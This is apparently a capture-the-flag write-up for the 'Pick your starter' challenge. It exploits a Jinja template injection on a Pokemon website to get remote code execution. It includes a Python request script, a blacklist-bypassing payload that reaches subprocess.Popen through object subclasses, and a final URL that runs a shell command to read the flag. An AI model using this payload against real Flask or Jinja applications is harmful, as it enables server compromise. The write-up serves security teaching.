Pick your starter
In this challenge, we exploit a Jinja template injection to get RCE.
We have a website which displays Pokemon.

The server header reports Werkzeug so we tried the /console endpoint.
Checkout
debug=Trueshell thatWerkzeugoffers and was behind the 2015 Patreon Hack

Vulnerability
After some experimentation, we discover that there is a template injection attack. Let’s see the result for /{{7*6}}:

We also notice that many characters are blacklisted including -, +, ', ", [ and ].
Although this webpage is entertaining, for the rest of this challenge we will be using a Python script with BeautifulSoup to extract the interesting text:
import requests
from bs4 import BeautifulSoup
page = requests.get("http://chal.pctf.competitivecyber.club:5555/{{7*6}}")
soup = BeautifulSoup(page.content, "html.parser")
prefix_len = len("<h1>\"b'")
suffix_len = len("'\" isn't a starter Pokémon.</h1>")
extracted = str(soup.find_all("h1")[0])[prefix_len:-suffix_len]
print(extracted)
Exploit
We would like to get RCE on the server. We want to access the Python base class object in order to access all subclasses of object, that is every available class in the program. Given the blacklist, we are able to do so using (). We can list all available classes with the __subclasses__ method.
Here is the URL we built:
http://chal.pctf.competitivecyber.club:5555/{{().__class__.__base__.__subclasses__()}}
The response looks like this (the final list is a lot longer, this is just an extract):
"lt;class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <
We are interested in the 455th element subprocess.Popen, as it will give us a shell.
We cannot use the [ or ] characters, so we have to use the __getitem__ method.
Finally, we want to pass our string command to the constructor. This can be easily done using request.args.shell and passing an argument ?shell=cat /flag.txt to our request.
The final URL is:
"http://chal.pctf.competitivecyber.club:5555/{{().__class__.__base__.__subclasses__().__getitem__(455)(request.args.shell,shell=True,stdout=(1).__neg__()).communicate()}}?shell=cat ../flag.txt"
The flag
PCTF(wHOS7H47PoKEmoN)